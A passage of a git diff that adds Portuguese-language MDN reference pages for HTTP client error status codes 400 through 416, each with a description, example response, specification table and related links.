requisição inválida ou requisição de roteamento enganosa).</p> + +<div class="blockIndicator warning"> +<p>O cliente não deve repetir essa requisição sem modificá-la.</p> +</div> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox notranslate">400 Bad Request </pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "400 Bad Request" , "6.5.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semânticas e conteúdo</td> + </tr> + </tbody> +</table> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="https://www.exai.com/blog/400-bad-request-error">400 Bad Request</a></li> +</ul> diff --git a/files/pt-br/web/http/status/401/index.html b/files/pt-br/web/http/status/401/index.html new file mode 100644 index 0000000000..f22f69f3d9 --- /dev/null +++ b/files/pt-br/web/http/status/401/index.html @@ -0,0 +1,59 @@ +--- +title: 401 Unauthorized +slug: Web/HTTP/Status/401 +tags: + - Código de status + - Erro Cliente + - HTTP + - Referencia +translation_of: Web/HTTP/Status/401 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de resposta de status de erro do cliente HTTP <strong><code>401 Unauthorized</code></strong> indica que a solicitação não foi aplicada porque não possui credenciais de autenticação válidas para o recurso de destino.</p> + +<p>Esse status é enviado com um cabeçalho {{HTTPHeader("WWW-Authenticate")}} que contém informações sobre como autorizar corretamente.</p> + +<p>Esse status é semelhante a {{HTTPStatus("403")}}, mas neste caso, a autenticação é possível.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox notranslate">401 Unauthorized</pre> + +<h2 id="Exemplo_de_resposta">Exemplo de resposta</h2> + +<pre class="notranslate">HTTP/1.1 401 Não autorizado +Date: Wed, 21 Oct 2015 07:28:00 GMT +WWW-Authenticate: Basic realm="Acesso intermediário ao site"</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7235", "401 Não autorizado" , "3.1")}}</td> + <td>HTTP/1.1: Autenticação</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_do_navegador">Compatibilidade do navegador</h2> + +<p class="hidden">A tabela de compatibilidade nesta página é gerada a partir de dados estruturados. Se você quiser contribuir com os dados, por faveor verifique <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e nos envie um "pull request".</p> + +<p>{{Compat("http.status.401")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li> + <li>{{HTTPHeader("WWW-Authenticate")}}</li> + <li>{{HTTPHeader("Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authenticate")}}</li> + <li>{{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> +</ul> diff --git a/files/pt-br/web/http/status/402/index.html b/files/pt-br/web/http/status/402/index.html new file mode 100644 index 0000000000..b4464da95a --- /dev/null +++ b/files/pt-br/web/http/status/402/index.html @@ -0,0 +1,54 @@ +--- +title: 402 Payment Required +slug: Web/HTTP/Status/402 +tags: + - Código de status + - Erro do cliente + - HTTP + - Navegador +translation_of: Web/HTTP/Status/402 +--- +<div>{{HTTPSidebar}}{{SeeCompatTable}}</div> + +<p>O código de status HTTP <strong><code>402 Payment Required</code></strong> é um termo despadronizado para respostas de Status, podendo-se ter usos futuros.</p> + +<p>Às vezes, este comando indica que o processo não pôde ser realizado em função de um pagamento não realizado. Originalmente, foi criado para validar uma micro ou grande transação e pode indicar que o método não se realiza até que o cliente efetue o pagamento. Contudo, não existem usos convecionais fixos e sua inserção varia, dependendo do contexto que é posto.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox notranslate">402 Payment Required</pre> + +<h2 id="Exemplos_de_resposta">Exemplos de resposta</h2> + +<pre class="brush: bash notranslate">HTTP/1.1 402 Payment Required +Date: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "402 Payment Required" , "6.5.2")}}</td> + <td>HTTP/1.1: Semântica e contexto</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<div class="hidden">The compatibility table in this page is generated from structured data. Se você deseja contribuir com nossa Data; por favor, cheque: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e nos mande um <em>pull request</em>.</div> + +<p>{{Compat("http.status.402")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP autenticação</a></li> +</ul> diff --git a/files/pt-br/web/http/status/403/index.html b/files/pt-br/web/http/status/403/index.html new file mode 100644 index 0000000000..bbaed2f7c7 --- /dev/null +++ b/files/pt-br/web/http/status/403/index.html @@ -0,0 +1,47 @@ +--- +title: 403 Forbidden +slug: Web/HTTP/Status/403 +translation_of: Web/HTTP/Status/403 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de resposta de status de erro do cliente HTTP <strong><code>403 Forbidden</code></strong> indica que o servidor entendeu o pedido, mas se recusa a autorizá-lo.</p> + +<p>Esse status é semelhante ao <a href="https://translate.googleusercontent.com/translate_c?depth=1&hl=pt-BR&ie=UTF8&prev=_t&rurl=translate.google.com.br&sl=en&sp=nmt4&tl=pt-BR&u=https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/401&usg=ALkJrhiNnt9g0IzVTs6MwThvH-SXScn_zg" title="O código de resposta de status de erro de cliente não autorizado do HTTP 401 indica que a solicitação não foi aplicada porque não possui credenciais de autenticação válidas para o recurso de destino."><code>401</code></a> , mas neste caso, a re-autenticação não fará diferença. O acesso é permanentemente proibido e vinculado à lógica da aplicação (como uma senha incorreta).</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">403 Forbidden</pre> + +<h2 id="Exemplo_de_resposta">Exemplo de resposta</h2> + +<pre>HTTP/1.1 403 Forbidden +Date: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "403 Proibido" , "6.5.3")}}</td> + <td>HTTP/1.1: Semântica e Conteúdo</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_do_navegador">Compatibilidade do navegador</h2> + +<p class="hidden">A tabela de compatibilidade nesta página é gerada a partir de dados estruturados. Se você quiser contribuir com os dados, por faveor verifique <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e nos envie um "pull request".</p> + +<p>{{Compat("http.status.403")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPStatus("401")}}</li> +</ul> diff --git a/files/pt-br/web/http/status/404/index.html b/files/pt-br/web/http/status/404/index.html new file mode 100644 index 0000000000..441b8580a1 --- /dev/null +++ b/files/pt-br/web/http/status/404/index.html @@ -0,0 +1,56 @@ +--- +title: 404 Not Found +slug: Web/HTTP/Status/404 +translation_of: Web/HTTP/Status/404 +--- +<div>{{HTTPSidebar}}</div> + +<p>A resposta de erro <code><strong>404 Not Found</strong></code> indica que o servidor não conseguiu encontrar o recurso solicitado. Normalmente, links que levam para uma página 404 estão quebrados ou desativados, e podem estar sujeitos a <a href="https://en.wikipedia.org/wiki/Link_rot">link rot</a>.</p> + +<p>Um código 404 não indica se o recurso está indisponível temporariamente ou se o mesmo foi permanentemente removido. Mas, se esse for o caso, o ideal é utilizar o código {{HTTPStatus(410)}} (Gone).</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">404 Not Found</pre> + +<h2 id="Páginas_de_erro_personalizadas">Páginas de erro personalizadas</h2> + +<p>Vários sites customizam o design de uma página 404 para facilitar a usabilidade e ajudá-lo em o que fazer em seguida. Servidores apache podem ser configurados usando um arquivo <code>.htaccess</code> e um pequeno código como o seguinte.</p> + +<pre class="brush: bash">ErrorDocument 404 /notfound.html</pre> + +<p>Para um exemplo de uma página 404 personalizada, veja <a href="https://developer.mozilla.org/en-US/404">MDN's 404 page</a>.</p> + +<div class="note"> +<p>Usar um design personalizado é uma boa ideia, se usado em moderação. Sinta-se livre para fazer a sua página 404 divertida, mas tome cuidado para não confundir seus usuários.</p> +</div> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "404 Not Found" , "6.5.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_em_navegadores">Compatibilidade em navegadores</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.404")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPStatus(410)}}</li> + <li> + <p>{{interwiki("wikipedia", "HTTP_404", "Wikipedia: HTTP 404")}}</p> + </li> +</ul> diff --git a/files/pt-br/web/http/status/405/index.html b/files/pt-br/web/http/status/405/index.html new file mode 100644 index 0000000000..a9bb8213e8 --- /dev/null +++ b/files/pt-br/web/http/status/405/index.html @@ -0,0 +1,35 @@ +--- +title: 405 Method Not Allowed +slug: Web/HTTP/Status/405 +translation_of: Web/HTTP/Status/405 +--- +<div>Este status de resposta indica que o verbo HTTP utilizado não é suportado, por exemplo: a requisição ocorre por meio de um get, porém o único método disponível é o post.</div> + +<div>Curiosidade: Existem um método chamado OPTIONS que retorna todos os verbos suportados naquela requisição</div> + +<div>obs: ele também pode não ser permitido</div> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">405 Method Not Allowed</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "405 Method Not Allowed" , "6.5.5")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Allow")}}</li> +</ul> diff --git a/files/pt-br/web/http/status/406/index.html b/files/pt-br/web/http/status/406/index.html new file mode 100644 index 0000000000..c482942fb6 --- /dev/null +++ b/files/pt-br/web/http/status/406/index.html @@ -0,0 +1,62 @@ +--- +title: 406 Not Acceptable +slug: Web/HTTP/Status/406 +tags: + - Código de status + - HTTP + - Referencia +translation_of: Web/HTTP/Status/406 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de resposta do erro de cliente <code><strong>406 Not Acceptable</strong></code> indica que o servidor não pode produzir uma resposta que combine com a lista de valores aceitáveis definidas nos cabeçalhos de negociação de conteúdo da requisição proativa, e o servidor é incapaz de produzir uma representação padrão.</p> + +<p>Negociação de conteúdo proativa incluem:</p> + +<ul> + <li>{{HTTPHeader("Accept")}}</li> + <li>{{HTTPHeader("Accept-Charset")}}</li> + <li>{{HTTPHeader("Accept-Encoding")}}</li> + <li>{{HTTPHeader("Accept-Language")}}</li> +</ul> + +<p>Na prática, esse erro é raramente usado. Ao invés de responder usando esse código de erro, o que poderia ser enigmático ao usuário final e difícil de arrumar, servidores ignoram o cabeçalho relevante e servem a página atual ao usuário. Se assume que mesmo que o usuário não fique completamente feliz, ele irá preferir isso ao invés do código de erro.</p> + +<p>Se o servidor retornar este status de erro, o corpo da mensagem deve conter a a lista disponíveis de representações do recurso, possibilitando ao usuário escolher entre elas.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">406 Not Acceptable</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "406 Not Acceptable" , "6.5.6")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p>A informação mostrada abaixo foi buscada do MDN's GitHub (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.406")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Accept")}}</li> + <li>{{HTTPHeader("Accept-Charset")}}</li> + <li>{{HTTPHeader("Accept-Encoding")}}</li> + <li>{{HTTPHeader("Accept-Language")}}</li> + <li><a href="/en-US/docs/Web/HTTP/Content_negotiation">Negociação de conteúdo</a> HTTP</li> +</ul> diff --git a/files/pt-br/web/http/status/407/index.html b/files/pt-br/web/http/status/407/index.html new file mode 100644 index 0000000000..43e0a846ca --- /dev/null +++ b/files/pt-br/web/http/status/407/index.html @@ -0,0 +1,58 @@ +--- +title: 407 Proxy Authentication Required +slug: Web/HTTP/Status/407 +tags: + - Código de status + - Erro Cliente + - Referencia +translation_of: Web/HTTP/Status/407 +--- +<div>{{HTTPSidebar}}</div> + +<p> </p> + +<p>O código de resposta HTTP <strong><code>407 Proxy Authentication Required</code> </strong>indica um erro do lado cliente, informando que uma solicitação não está sendo bem aplicada. Isso ocorre porque falta a validar as credencias de autenticação para um {{Glossary("proxy server")}} que intermedia o navegador e o servidor que pode acessar o recurso solicitado.</p> + +<p>Este erro é enviado com um cabeçalho {{HTTPHeader("Proxy-Authenticate")}} que contém informações de como fazer uma autorização correta.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">407 Proxy Authentication Required </pre> + +<h2 id="Exemplo_de_resposta">Exemplo de resposta</h2> + +<pre>HTTP/1.1 407 Proxy Authentication Required +Date: Wed, 21 Oct 2015 07:28:00 GMT +Proxy-Authenticate: Basic realm="Access to internal site"</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Epecificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7235", "407 Proxy Authentication Required" , "3.2")}}</td> + <td>HTTP/1.1: Authentication</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_entre_navegadores">Compatibilidade entre navegadores</h2> + +<p class="hidden">A tabela de compatibilidade nesta página é gerada através de dados estruturados. Se você quiser contribuir com os dados, acesse <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e nos envie um pull request.</p> + +<p>{{Compat("http.status.407")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/pt-BR/docs/Web/HTTP/Authentication">Autenticação HTTP</a></li> + <li>{{HTTPHeader("WWW-Authenticate")}}</li> + <li>{{HTTPHeader("Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authenticate")}}</li> + <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}</li> +</ul> diff --git a/files/pt-br/web/http/status/408/index.html b/files/pt-br/web/http/status/408/index.html new file mode 100644 index 0000000000..258e21f17c --- /dev/null +++ b/files/pt-br/web/http/status/408/index.html @@ -0,0 +1,47 @@ +--- +title: 408 Request Timeout +slug: Web/HTTP/Status/408 +tags: + - Erro Cliente + - HTTP + - Resposta Servidor + - Status code +translation_of: Web/HTTP/Status/408 +--- +<div>{{HTTPSidebar}}</div> + +<p><code>A resposta <strong>408 Request Timeout</strong></code> significa que o servidor irá encerrar essa conexão em desuso. É enviado a uma conexão parada por alguns servidores, <em>mesmo sem nenhuma requisição feita anteriormente pelo cliente</em>.</p> + +<p>O servidor deve enviar no cabeçalho de resposta "close" {{HTTPHeader("Connection")}} já que <code>408</code> implica que o servidor decidiu encerrar a conexão ao invés de continuar aguardando.</p> + +<p>Essa resposta está sendo mais usada desde que alguns browsers como Chrome, Firefox 27+, e IE9, usam o mecanismo "HTTP pre-connection" para acelerar a navegação.</p> + +<div class="note"> +<p><strong>Nota: </strong>alguns servidores simplesmente encerram a conexão sem enviar esssa mensagem.</p> +</div> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">408 Request Timeout</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "408 Request Timeout" , "6.5.7")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Veja_Também">Veja Também</h2> + +<ul> + <li>{{HTTPHeader("Connection")}}</li> + <li>{{HTTPHeader("X-DNS-Prefetch-Control")}}</li> +</ul> diff --git a/files/pt-br/web/http/status/409/index.html b/files/pt-br/web/http/status/409/index.html new file mode 100644 index 0000000000..c9d27dabcd --- /dev/null +++ b/files/pt-br/web/http/status/409/index.html @@ -0,0 +1,35 @@ +--- +title: 409 Conflict +slug: Web/HTTP/Status/409 +translation_of: Web/HTTP/Status/409 +--- +<div>{{HTTPSidebar}}</div> + +<p>O status de resposta <code><strong>409 Conflict</strong></code> indica que a solicitação atual conflitou com o recurso que está no servidor.</p> + +<p>Conflitos são mais frequentes quando usado o método {{HTTPMethod("PUT")}}. Por exemplo, você pode receber uma resposta 409 quando fizer upload de um arquivo que é mais antigo do que já existe no servidor, resultando em conflito de versão.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox notranslate">409 Conflito</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "409 Conflict" , "6.5.8")}}</td> + <td>Protocolo de Transferência de Hypertexto (HTTP/1.1): Semântica e Conteúdo</td> + </tr> + </tbody> +</table> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPMethod("PUT")}}</li> +</ul> diff --git a/files/pt-br/web/http/status/410/index.html b/files/pt-br/web/http/status/410/index.html new file mode 100644 index 0000000000..dceccacf65 --- /dev/null +++ b/files/pt-br/web/http/status/410/index.html @@ -0,0 +1,47 @@ +--- +title: 410 Gone +slug: Web/HTTP/Status/410 +translation_of: Web/HTTP/Status/410 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de resposta HTTP <code><strong>410 Gone</strong></code> de erro do cliente indica que o acesso ao recurso não está mais disponível no servidor de origem, e que esta condição tende a ser permanente.</p> + +<p>Se você não sabe se a ausência do recurso é temporária ou permanente, o código de status {{HTTPStatus(404)}} deverá ser utilizado.</p> + +<div class="note"> +<p><strong>Nota: </strong>Uma resposta 410 response é armazenada em cache por default.</p> +</div> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">410 Gone</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "410 Gone" , "6.5.9")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_dos_navegadores">Compatibilidade dos navegadores</h2> + +<p>A informação mostrada abaixo está sendo servida do MDN's GitHub (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p> + +<p class="hidden">A tabela de compatibilidade nesta página é gerada a partir de dados estruturados. Se você quiser contribuir com os dados, por faveor verifique <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e nos envie um "pull request".</p> + +<p>{{Compat("http.status.410")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPStatus(404)}}</li> +</ul> diff --git a/files/pt-br/web/http/status/411/index.html b/files/pt-br/web/http/status/411/index.html new file mode 100644 index 0000000000..2bdfba4b74 --- /dev/null +++ b/files/pt-br/web/http/status/411/index.html @@ -0,0 +1,43 @@ +--- +title: 411 Length Required +slug: Web/HTTP/Status/411 +tags: + - Códigos de status + - Códigos de status HTTP + - HTTP + - Referencia +translation_of: Web/HTTP/Status/411 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de resposta <code><strong>411 Length Required</strong></code> de erro de cliente do Protocolo de Transferência de HyperTexto (HTTP) indica que o servidor se nega a aceitar a requisição sem um cabeçalho {{HTTPHeader("Content-Length")}} definido.</p> + +<div class="note"> +<p><strong>Nota: </strong>pela especificação, quando envia dados em uma série de blocos, o cabeçalho <code>Content-Length</code> é omitido e no início de cada bloco você precisa adicionar o tamanho do bloco corrente no formato hexadecimal. Veja {{HTTPHeader("Transfer-Encoding")}} para mais detalhes.</p> +</div> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">411 Length Required</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "411 Length Required" , "6.5.10")}}</td> + <td>Protocolo de transferência de Hipertexto (HTTP/1.1): Semântica e Conteúdo</td> + </tr> + </tbody> +</table> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Content-Length")}}</li> + <li>{{HTTPHeader("Transfer-Encoding")}}</li> +</ul> diff --git a/files/pt-br/web/http/status/412/index.html b/files/pt-br/web/http/status/412/index.html new file mode 100644 index 0000000000..b9cbeba34e --- /dev/null +++ b/files/pt-br/web/http/status/412/index.html @@ -0,0 +1,52 @@ +--- +title: 412 Precondition Failed +slug: Web/HTTP/Status/412 +tags: + - Código de status + - Erro + - Error + - HTTP + - Reference + - Referencia + - Status code +translation_of: Web/HTTP/Status/412 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de resposta de erro de cliente HTTP <code><strong>412 Precondition Failed</strong></code> indica que o acesso ao recurso especificado foi negado. Isso acontece com requisições condicionais em métodos que não {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}} quando a condição definida pelo cabeçalho {{HTTPHeader("If-Unmodified-Since")}} ou {{HTTPHeader("If-None-Match")}} não é satisfeita. Nesse caso, a requisição, geralmente um upload ou modificação de um recurso, não pode ser feita e o código de error de resposta é enviado de volta.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">412 Precondition Failed</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7232", "412 Precondition Failed" , "4.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p>A informação abaixo foi retirada do GitHub da MDN (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.412")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPStatus("304")}}</li> + <li>{{HTTPHeader("If-Unmodified-Since")}}</li> + <li>{{HTTPHeader("If-None-Match")}}</li> + <li>{{HTTPStatus("428")}}</li> +</ul> diff --git a/files/pt-br/web/http/status/413/index.html b/files/pt-br/web/http/status/413/index.html new file mode 100644 index 0000000000..b23b897c84 --- /dev/null +++ b/files/pt-br/web/http/status/413/index.html @@ -0,0 +1,34 @@ +--- +title: 413 Payload Too Large +slug: Web/HTTP/Status/413 +translation_of: Web/HTTP/Status/413 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de resposta HTTP <code><strong>413 Payload Too Large</strong></code> indica que a carga da requisição é mais larga que os limites estabelecidos pelo servidor; o servidor pode encerrar a conexão ou retornar {{HTTPHeader("Retry-After")}} no campo de cabeçalho.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">413 Payload Too Large</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "413 Payload Too Large" , "6.5.11")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1):Semânticas e Conteúdo</td> + </tr> + </tbody> +</table> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Connection")}}</li> + <li>{{HTTPHeader("Retry-After")}}</li> +</ul> diff --git a/files/pt-br/web/http/status/414/index.html b/files/pt-br/web/http/status/414/index.html new file mode 100644 index 0000000000..4e887d4663 --- /dev/null +++ b/files/pt-br/web/http/status/414/index.html @@ -0,0 +1,46 @@ +--- +title: 414 URI Too Long +slug: Web/HTTP/Status/414 +tags: + - Código de status + - Erro de cliente + - HTTP + - Referencia +translation_of: Web/HTTP/Status/414 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de resposta <code><strong>414 URI Too Long</strong></code> indica que o tamanho da URI requisitada pelo cliente é maior do que o tamanho que o servidor aceita interpretar.</p> + +<p>Existem algumas raras condições em que isso pode ocorrer:</p> + +<ul> + <li>quando um cliente converteu de forma imprópria uma requisição {{HTTPMethod("POST")}} para uma requisição {{HTTPMethod("GET")}} com uma sequência de informações muito grande,</li> + <li>quando o cliente caiu em um loop de redirecionamentos (por exemplo, um redirecionamento de uma URI prefixada que aponta para um sufixo de si mesmo),</li> + <li>ou quando o servidor está sob ataque por um cliente tentando explorar potenciais falhas de segurança.</li> +</ul> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">414 URI Too Long</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "414 URI Too Long" , "6.5.12")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{Glossary("URI")}}</li> +</ul> diff --git a/files/pt-br/web/http/status/415/index.html b/files/pt-br/web/http/status/415/index.html new file mode 100644 index 0000000000..ceaee4718f --- /dev/null +++ b/files/pt-br/web/http/status/415/index.html @@ -0,0 +1,45 @@ +--- +title: 415 Unsupported Media Type +slug: Web/HTTP/Status/415 +tags: + - Codigo Status + - Codigo Status HTTP + - Erro no cliente + - HTTP + - Referencia +translation_of: Web/HTTP/Status/415 +--- +<p> </p> + +<p>{{HTTPSidebar}}</p> + +<p>O erro HTTP <code><strong>415 Unsupported Media Type</strong></code> do cliente indica que o servidor se recusou a aceitar a requisição porque o formato do payload não é um formato suportado.</p> + +<p>O problema do formato por ter ocorrido pelos valores indicados no {{HTTPHeader("Content-Type")}} ou {{HTTPHeader("Content-Encoding")}}, ou pelo resultado da inspeção do dado em si.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">415 Unsupported Media Type</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificações</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "415 Unsupported Media Type" , "6.5.13")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Content-Type")}}</li> + <li>{{HTTPHeader("Content-Encoding")}}</li> + <li>{{HTTPHeader("Accept")}}</li> +</ul> diff --git a/files/pt-br/web/http/status/416/index.html b/files/pt-br/web/http/status/416/index.html new file mode 100644 index 0000000000..86dda5b5ff --- /dev/null +++ b/files/pt-br/web/http/status/416/index.html @@ -0,0 +1,53 @@ +--- +title: 416 Range Not Satisfiable +slug: Web/HTTP/Status/416 +tags: + - Client error + - Código de status + - Erro do cliente + - HTTP + - Status code +translation_of: Web/HTTP/Status/416 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de erro de resposta HTTP <code><strong>416 Range Not Satisfiable</strong></code> indica que o servidor não pode servir as sequências solicitadas. A razão mais provável é que o documento não contenha tais sequências, ou que o valor do cabeçalho {{HTTPHeader("Range")}}, apesar de sintaticamente correto, não faça sentido.</p> + +<p>A mensagem de resposta <code>416</code> contém um cabeçalho {{HTTPHeader("Content-Range")}} indicando uma sequência insatisfatória (que é um <code>'*'</code>) seguido por uma <code>'/'</code> e o tamanho atual do recurso. E.g. <code>Content-Range: bytes */12777</code></p> + +<p>Observando este erro, os navegadores geralmente, ou abortam a operação (por exemplo, o download será considerado não recuperável) ou requisitar o documento inteiro novamente.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">416 Range Not Satisfiable</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7233", "416 Request Not Satisfiable" , "4.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p>A informação abaixo 